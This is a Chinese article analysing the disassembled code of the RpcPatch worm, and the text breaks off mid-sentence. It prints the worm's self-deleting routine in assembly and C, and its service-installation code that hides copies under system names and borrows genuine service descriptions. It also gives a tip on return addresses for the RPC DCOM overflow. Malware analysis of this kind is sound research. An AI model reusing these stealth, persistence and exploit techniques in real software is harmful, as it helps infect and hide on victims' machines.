分享
 
 
 

RpcPatch蠕虫代码点评

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

抛开写蠕虫导致的道德问题不谈,单就技术而言,应该承认,写这个程序的人是一

个老练的Windows 程序员,代码风格不错,程序写得中规中矩,很多地方值得学习。里

面也用了不少技巧,显示出作者对Windows的了解。这个程序还是有看头的。

1、看看删除自身的函数

首先来看蠕虫删除自身的函数。Windows 应用程序是不能直接删除自身的,因为程

序运行的时候系统使用了memory-mapped files 机制将文件所占的那一部分空间作缓存。

要删除,最简单的法子是先创建一个批处理文件,在批处理文件中删除主文件,然后让

批处理文件删除自身,或者直接在程序中调用“cmd /c del”,再就是借助系统的一些

机制(详见Jeffrey Richter在MSDN January 1996 那篇“Win32 Q&A”中的论述,地址:

http://www.microsoft.com/msj/archive/SF9C.aspx)。

而这个蠕虫用的是另外一种巧妙的方法,这个方法是Gary Nebbett提出来的。

;call from 004012CE

:00402970 55 push ebp

:00402971 8BEC mov ebp, esp

:00402973 81EC10020000 sub esp, 00000210

:00402979 56 push esi

:0040297A 8B35A8404000 mov esi, dword ptr [004040A8] ;esi = kernel32.GetModuleFileNameA

:00402980 8D85F4FEFFFF lea eax, dword ptr [ebp+FFFFFEF4]

:00402986 6804010000 push 00000104

:0040298B 50 push eax

:0040298C 6A00 push 00000000

:0040298E FFD6 call esi ;kernel32.GetModuleFileNameA

:00402990 8D8DF4FEFFFF lea ecx, dword ptr [ebp+FFFFFEF4]

:00402996 51 push ecx

:00402997 FF1574404000 Call dword ptr [00404074] ;kernel32.GetFileAttributesA

:0040299D A801 test al, 01 ;看文件是否设置了只读属性

:0040299F 7410 je 004029B1 ;如果无则直接跳过去删除文件

:004029A1 24FE and al, FE ;如果有则去掉只读属性

:004029A3 8D95F4FEFFFF lea edx, dword ptr [ebp+FFFFFEF4]

:004029A9 50 push eax

:004029AA 52 push edx

:004029AB FF1578404000 Call dword ptr [00404078] ;kernel32.SetFileAttributesA

;以下的就是Gary Nebbett那一段经典代码:

;jmp from 0040299F

:004029B1 6A00 push 00000000 ;参数为空,返回自身句柄

:004029B3 FF157C404000 Call dword ptr [0040407C] ;kernel32.GetModuleHandleA

:004029B9 8D8DF0FDFFFF lea ecx, dword ptr [ebp+FFFFFDF0]

:004029BF 6804010000 push 00000104

:004029C4 51 push ecx

:004029C5 50 push eax

:004029C6 8945FC mov dword ptr [ebp-04], eax

:004029C9 FFD6 call esi ;KERNEL32!GetModuleFileNameA

:004029CB 6A04 push 00000004 ;文件映像的硬编码4

:004029CD FF15E0404000 Call dword ptr [004040E0] ;kernel32.CloseHandle

:004029D3 8D85F0FDFFFF lea eax, dword ptr [ebp+FFFFFDF0]

:004029D9 6A00 push 00000000

:004029DB 6A00 push 00000000

:004029DD 50 push eax ;程序本身文件名

:004029DE FF35BC404000 push dword ptr [004040BC] ;KERNEL32!ExitProcess

:004029E4 FF75FC push [ebp-04] ;映像地址,这里是00400000

:004029E7 FF35E8404000 push dword ptr [004040E8] ;KERNEL32!DeleteFileA

:004029ED FF3580404000 push dword ptr [00404080] ;KERNEL32!UnmapViewOfFile

:004029F3 C3 ret

用源代码表示就是这样:

int main(int argc, char *argv[])

{

HMODULE module = GetModuleHandle(0);

CHAR buf[MAX_PATH];

GetModuleFileName(module, buf, sizeof buf);

CloseHandle(HANDLE(4));

__asm {

lea eax, buf

push 0

push 0

push eax

push ExitProcess

push module

push DeleteFile

push UnmapViewOfFile

ret

}

return 0;

}

先关闭程序本身对应的映像句柄、硬编码4,再UnmapViewOfFile程序自身的映像,

然后就可以删除了。

不过有两点:1、这个代码在Windows XP上是无效的。

2、这个代码在命令行上启动是无效的。

这两点有工夫再慢慢研究吧。

2、创建服务函数

创建服务的代码没有什么特殊的,比较巧妙的是蠕虫复制了系统上原有的服务描述

作为自己的描述,这样比自己定义更具欺骗性,因为这样不论蠕虫传播到哪个语言版本

的系统上都可以在服务管理器中显示人们熟悉的描述信息,很难察觉。

;InstallTFTPService

;call from 0040137F,004016D0

:004015E0 81EC08020000 sub esp, 00000208

:004015E6 8D842404010000 lea eax, dword ptr [esp+00000104]

:004015ED 56 push esi

:004015EE 8B351C414000 mov esi, dword ptr [0040411C] ;msvcrt.sprintf

:004015F4 6898744000 push 00407498

:004015F9 684C614000 push 0040614C ;db '%s\dllcache\tftpd.exe',0

:004015FE 50 push eax

:004015FF FFD6 call esi

:00401601 83C40C add esp, 0000000C

:00401604 8D4C2404 lea ecx, dword ptr [esp+04]

:00401608 6898744000 push 00407498

:0040160D 6838614000 push 00406138 ;db '%s\wins\svchost.exe',0

:00401612 51 push ecx

:00401613 FFD6 call esi

:00401615 83C40C add esp, 0000000C

:00401618 8D542404 lea edx, dword ptr [esp+04]

:0040161C 8D842408010000 lea eax, dword ptr [esp+00000108]

:00401623 6A00 push 00000000

:00401625 52 push edx

:00401626 50 push eax

:00401627 FF15B4404000 Call dword ptr [004040B4] ;kernel32.CopyFileA

:0040162D 6830614000 push 00406130 ;db 'MSDTC',0 ;照抄MSDTC的描述

:00401632 6824614000 push 00406124 ;db 'svchost.exe'

:00401637 6808614000 push 00406108 ;db 'Network Connections Sharing'

:0040163C 686C5B4000 push 00405B6C ;db 'RpcTftpd',0

:00401641 E89A0D0000 call 004023E0 ;CreateService

:00401646 83C410 add esp, 00000010

:00401649 5E pop esi

:0040164A 81C408020000 add esp, 00000208

:00401650 C3 ret

;InstallRpcPatchService

;call from 004016D5

:00401660 81EC0C020000 sub esp, 0000020C

:00401666 8D842404010000 lea eax, dword ptr [esp+00000104]

:0040166D 6804010000 push 00000104

:00401672 50 push eax

:00401673 6A00 push 00000000

:00401675 FF15A8404000 Call dword ptr [004040A8] ;kernel32.GetModuleFileNameA

:0040167B 6898744000 push 00407498

:00401680 8D4C2404 lea ecx, dword ptr [esp+04]

:00401684 6884614000 push 00406184 ;db '%s\wins\DLLHOST.EXE',0

:00401689 51 push ecx

:0040168A FF151C414000 Call dword ptr [0040411C] ;db 'msvcrt.sprintf',0

:00401690 83C40C add esp, 0000000C

:00401693 8D542400 lea edx, dword ptr [esp]

:00401697 8D842404010000 lea eax, dword ptr [esp+00000104]

:0040169E 6A00 push 00000000

:004016A0 52 push edx

:004016A1 50 push eax

:004016A2 FF15B4404000 Call dword ptr [004040B4] ;db 'kernel32.CopyFileA',0

:004016A8 687C614000 push 0040617C ;db 'Browser',0

:004016AD 6870614000 push 00406170 ;db 'DLLHOST.EXE',0

:004016B2 6864614000 push 00406164 ;db 'WINS Client',0

:004016B7 68785B4000 push 00405B78 ;db 'RpcPatch',0

:004016BC E81F0D0000 call 004023E0 ;CreateService

:004016C1 81C41C020000 add esp, 0000021C

:004016C7 C3 ret

;CreateService

;call from 00401641,004016BC

:004023E0 81EC10010000 sub esp, 00000110 ;00ec10010000 ?

:004023E6 53 push ebx

:004023E7 55 push ebp

:004023E8 56 push esi

:004023E9 57 push edi

:004023EA 683F000F00 push 000F003F

:004023EF 6A00 push 00000000

:004023F1 6A00 push 00000000

:004023F3 FF152C404000 Call dword ptr [0040402C] ;advapi32.OpenSCManagerA

:004023F9 8BE8 mov ebp, eax

:004023FB 85ED test ebp, ebp

:004023FD 750B jne 0040240A ;0040240A开始真正进入创建服务,代码比较多就不列出来了

:004023FF 5F pop edi

:00402400 5E pop esi

:00402401 5D pop ebp

:00402402 5B pop ebx

:00402403 81C410010000 add esp, 00000110

:00402409 C3 ret

3、通用返回地址

Rpc DCOM 的溢出,在选择跳转地址上不一定要用jmp esp功能的地址,因为在溢出

的时候ebx=esp+9c、edi=esp+f8,这样,我们只需在ShellCode 前加上相应数目的填充

字符就可以用跳往这两个寄存器的跳转地址。

RpcPatch蠕虫的作

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有